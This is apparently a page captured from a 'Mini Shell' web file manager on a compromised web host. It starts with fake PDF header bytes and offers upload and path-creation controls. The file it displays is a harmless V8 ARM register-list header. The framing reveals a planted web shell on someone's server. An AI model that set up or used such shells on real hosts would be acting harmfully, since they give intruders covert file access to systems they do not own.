%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/v8/src/codegen/arm/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/node/deps/v8/src/codegen/arm/reglist-arm.h

// Copyright 2022 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef V8_CODEGEN_ARM_REGLIST_ARM_H_
#define V8_CODEGEN_ARM_REGLIST_ARM_H_

#include "src/codegen/register-arch.h"
#include "src/codegen/reglist-base.h"

namespace v8 {
namespace internal {

using RegList = RegListBase<Register>;
using DoubleRegList = RegListBase<DoubleRegister>;
ASSERT_TRIVIALLY_COPYABLE(RegList);
ASSERT_TRIVIALLY_COPYABLE(DoubleRegList);

// Register list in load/store instructions
// Note that the bit values must match those used in actual instruction encoding

// Caller-saved/arguments registers
const RegList kJSCallerSaved = {r0,   // r0 a1
                                r1,   // r1 a2
                                r2,   // r2 a3
                                r3};  // r3 a4

const int kNumJSCallerSaved = 4;

// Callee-saved registers preserved when switching from C to JavaScript
const RegList kCalleeSaved = {r4,    //  r4 v1
                              r5,    //  r5 v2
                              r6,    //  r6 v3
                              r7,    //  r7 v4 (cp in JavaScript code)
                              r8,    //  r8 v5 (pp in JavaScript code)
                              r9,    //  r9 v6
                              r10,   // r10 v7
                              r11};  // r11 v8 (fp in JavaScript code)

// When calling into C++ (only for C++ calls that can't cause a GC).
// The call code will take care of lr, fp, etc.
const RegList kCallerSaved = {r0,   // r0
                              r1,   // r1
                              r2,   // r2
                              r3,   // r3
                              r9};  // r9

const int kNumCalleeSaved = 8;

// Double registers d8 to d15 are callee-saved.
const int kNumDoubleCalleeSaved = 8;

}  // namespace internal
}  // namespace v8

#endif  // V8_CODEGEN_ARM_REGLIST_ARM_H_

Zerion Mini Shell 1.0